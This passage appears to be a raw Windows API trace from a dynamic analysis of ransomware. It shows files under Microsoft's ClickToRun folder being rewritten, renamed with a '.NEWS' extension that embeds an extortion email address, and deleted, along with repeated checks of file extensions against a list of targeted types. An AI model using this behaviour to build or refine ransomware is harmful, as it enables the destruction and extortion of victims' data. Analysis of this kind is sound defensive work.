lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.390] WriteFile (in: hFile=0x2f4, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xfa, lpOverlapped=0x0) returned 1 [0082.391] SetEndOfFile (hFile=0x2f4) returned 1 [0082.391] CloseHandle (hObject=0x2f4) returned 1 [0082.400] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.400] SetEndOfFile (hFile=0x378) returned 1 [0082.405] CloseHandle (hObject=0x378) returned 1 [0082.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0082.405] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 1 [0082.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0082.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0082.406] lstrlenW (lpString=".doc") returned 4 [0082.406] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.406] lstrlenW (lpString=".docx") returned 5 [0082.406] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0082.406] lstrlenW (lpString=".pdf") returned 4 [0082.406] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.406] lstrlenW (lpString=".xls") returned 4 [0082.406] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.406] lstrlenW (lpString=".xlsx") returned 5 [0082.406] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0082.406] lstrlenW (lpString=".ppt") returned 4 [0082.406] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0082.406] lstrlenW (lpString=".zip") returned 4 [0082.406] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.406] lstrlenW (lpString=".rar") returned 4 [0082.406] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.406] lstrlenW (lpString=".bz2") returned 4 [0082.406] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.406] lstrlenW (lpString=".7z") returned 3 [0082.406] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0082.406] lstrlenW (lpString=".dbf") returned 4 [0082.406] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0082.406] lstrlenW (lpString=".1cd") returned 4 [0082.406] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0082.406] lstrlenW (lpString=".jpg") returned 4 [0082.406] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0082.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0082.407] lstrlenW (lpString=".doc") returned 4 [0082.407] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.407] lstrlenW (lpString=".docx") returned 5 [0082.407] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0082.407] lstrlenW (lpString=".pdf") returned 4 [0082.407] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.407] lstrlenW (lpString=".xls") returned 4 [0082.407] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.407] lstrlenW (lpString=".xlsx") returned 5 [0082.407] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0082.407] lstrlenW (lpString=".ppt") returned 4 [0082.407] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0082.407] lstrlenW (lpString=".zip") returned 4 [0082.407] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.407] lstrlenW (lpString=".rar") returned 4 [0082.407] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.407] lstrlenW (lpString=".bz2") returned 4 [0082.407] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.407] lstrlenW (lpString=".7z") returned 3 [0082.407] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0082.407] lstrlenW (lpString=".dbf") returned 4 [0082.407] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0082.407] lstrlenW (lpString=".1cd") returned 4 [0082.407] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0082.407] lstrlenW (lpString=".jpg") returned 4 [0082.407] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.407] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.407] lstrlenW (lpString="AppVIsvStreamingManager.dll") returned 27 [0082.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0082.408] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=210648) returned 1 [0082.408] CloseHandle (hObject=0x378) returned 1 [0082.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0082.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0082.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0082.408] lstrlenW (lpString=".doc") returned 4 [0082.408] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.408] lstrlenW (lpString=".docx") returned 5 [0082.408] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0082.408] lstrlenW (lpString=".pdf") returned 4 [0082.408] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.409] lstrlenW (lpString=".xls") returned 4 [0082.409] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.409] lstrlenW (lpString=".xlsx") returned 5 [0082.409] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0082.409] lstrlenW (lpString=".ppt") returned 4 [0082.409] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0082.409] lstrlenW (lpString=".zip") returned 4 [0082.409] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.409] lstrlenW (lpString=".rar") returned 4 [0082.409] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.409] lstrlenW (lpString=".bz2") returned 4 [0082.409] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.409] lstrlenW (lpString=".7z") returned 3 [0082.409] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0082.409] lstrlenW (lpString=".dbf") returned 4 [0082.409] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0082.409] lstrlenW (lpString=".1cd") returned 4 [0082.409] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0082.409] lstrlenW (lpString=".jpg") returned 4 [0082.409] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0082.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0082.409] lstrlenW (lpString=".doc") returned 4 [0082.409] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.409] lstrlenW (lpString=".docx") returned 5 [0082.409] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0082.409] lstrlenW (lpString=".pdf") returned 4 [0082.409] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.409] lstrlenW (lpString=".xls") returned 4 [0082.409] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.410] lstrlenW (lpString=".xlsx") returned 5 [0082.410] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0082.410] lstrlenW (lpString=".ppt") returned 4 [0082.410] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0082.410] lstrlenW (lpString=".zip") returned 4 [0082.410] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.410] lstrlenW (lpString=".rar") returned 4 [0082.410] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.410] lstrlenW (lpString=".bz2") returned 4 [0082.410] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.410] lstrlenW (lpString=".7z") returned 3 [0082.410] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0082.410] lstrlenW (lpString=".dbf") returned 4 [0082.410] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0082.410] lstrlenW (lpString=".1cd") returned 4 [0082.410] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0082.410] lstrlenW (lpString=".jpg") returned 4 [0082.410] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.410] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.410] lstrlenW (lpString="AppVIsvSubsystemController.dll") returned 30 [0082.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0082.958] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1402584) returned 1 [0082.958] CloseHandle (hObject=0x378) returned 1 [0082.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0082.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0082.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0082.958] lstrlenW (lpString=".doc") returned 4 [0082.958] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.958] lstrlenW (lpString=".docx") returned 5 [0082.958] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0082.958] lstrlenW (lpString=".pdf") returned 4 [0082.958] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.958] lstrlenW (lpString=".xls") returned 4 [0082.959] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.959] lstrlenW (lpString=".xlsx") returned 5 [0082.959] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0082.959] lstrlenW (lpString=".ppt") returned 4 [0082.959] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0082.959] lstrlenW (lpString=".zip") returned 4 [0082.959] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.959] lstrlenW (lpString=".rar") returned 4 [0082.959] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.959] lstrlenW (lpString=".bz2") returned 4 [0082.959] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.959] lstrlenW (lpString=".7z") returned 3 [0082.959] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0082.959] lstrlenW (lpString=".dbf") returned 4 [0082.959] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0082.959] lstrlenW (lpString=".1cd") returned 4 [0082.959] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0082.959] lstrlenW (lpString=".jpg") returned 4 [0082.959] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0082.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0082.959] lstrlenW (lpString=".doc") returned 4 [0082.959] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.959] lstrlenW (lpString=".docx") returned 5 [0082.959] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0082.959] lstrlenW (lpString=".pdf") returned 4 [0082.959] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.959] lstrlenW (lpString=".xls") returned 4 [0082.959] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.959] lstrlenW (lpString=".xlsx") returned 5 [0082.959] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0082.959] lstrlenW (lpString=".ppt") returned 4 [0082.960] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0082.960] lstrlenW (lpString=".zip") returned 4 [0082.960] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.960] lstrlenW (lpString=".rar") returned 4 [0082.960] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.960] lstrlenW (lpString=".bz2") returned 4 [0082.960] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.960] lstrlenW (lpString=".7z") returned 3 [0082.960] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0082.960] lstrlenW (lpString=".dbf") returned 4 [0082.960] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0082.960] lstrlenW (lpString=".1cd") returned 4 [0082.960] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0082.960] lstrlenW (lpString=".jpg") returned 4 [0082.960] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.960] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.960] lstrlenW (lpString="AppVIsvVirtualization.dll") returned 25 [0082.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0082.960] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=567512) returned 1 [0082.961] CloseHandle (hObject=0x378) returned 1 [0082.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0082.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0082.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0082.961] lstrlenW (lpString=".doc") returned 4 [0082.961] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.961] lstrlenW (lpString=".docx") returned 5 [0082.961] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0082.961] lstrlenW (lpString=".pdf") returned 4 [0082.961] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.961] lstrlenW (lpString=".xls") returned 4 [0082.961] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.961] lstrlenW (lpString=".xlsx") returned 5 [0082.961] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0082.961] lstrlenW (lpString=".ppt") returned 4 [0082.961] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0082.961] lstrlenW (lpString=".zip") returned 4 [0082.961] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.961] lstrlenW (lpString=".rar") returned 4 [0082.961] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.961] lstrlenW (lpString=".bz2") returned 4 [0082.962] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.962] lstrlenW (lpString=".7z") returned 3 [0082.962] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0082.962] lstrlenW (lpString=".dbf") returned 4 [0082.962] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0082.962] lstrlenW (lpString=".1cd") returned 4 [0082.962] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0082.962] lstrlenW (lpString=".jpg") returned 4 [0082.962] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0082.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0082.962] lstrlenW (lpString=".doc") returned 4 [0082.962] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.962] lstrlenW (lpString=".docx") returned 5 [0082.962] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0082.962] lstrlenW (lpString=".pdf") returned 4 [0082.962] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.962] lstrlenW (lpString=".xls") returned 4 [0082.962] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.962] lstrlenW (lpString=".xlsx") returned 5 [0082.962] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0082.962] lstrlenW (lpString=".ppt") returned 4 [0082.962] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0082.962] lstrlenW (lpString=".zip") returned 4 [0082.962] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.962] lstrlenW (lpString=".rar") returned 4 [0082.962] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.962] lstrlenW (lpString=".bz2") returned 4 [0082.962] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.962] lstrlenW (lpString=".7z") returned 3 [0082.962] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0082.963] lstrlenW (lpString=".dbf") returned 4 [0082.963] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0082.963] lstrlenW (lpString=".1cd") returned 4 [0082.963] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83 [0082.963] lstrlenW (lpString=".jpg") returned 4 [0082.963] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.963] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.963] lstrlenW (lpString="AppVManifest.dll") returned 16 [0082.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0082.963] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1231576) returned 1 [0082.963] CloseHandle (hObject=0x378) returned 1 [0082.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0082.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0082.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0082.964] lstrlenW (lpString=".doc") returned 4 [0082.964] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.964] lstrlenW (lpString=".docx") returned 5 [0082.964] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0082.964] lstrlenW (lpString=".pdf") returned 4 [0082.964] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.964] lstrlenW (lpString=".xls") returned 4 [0082.964] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.964] lstrlenW (lpString=".xlsx") returned 5 [0082.964] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0082.964] lstrlenW (lpString=".ppt") returned 4 [0082.964] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0082.964] lstrlenW (lpString=".zip") returned 4 [0082.964] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.964] lstrlenW (lpString=".rar") returned 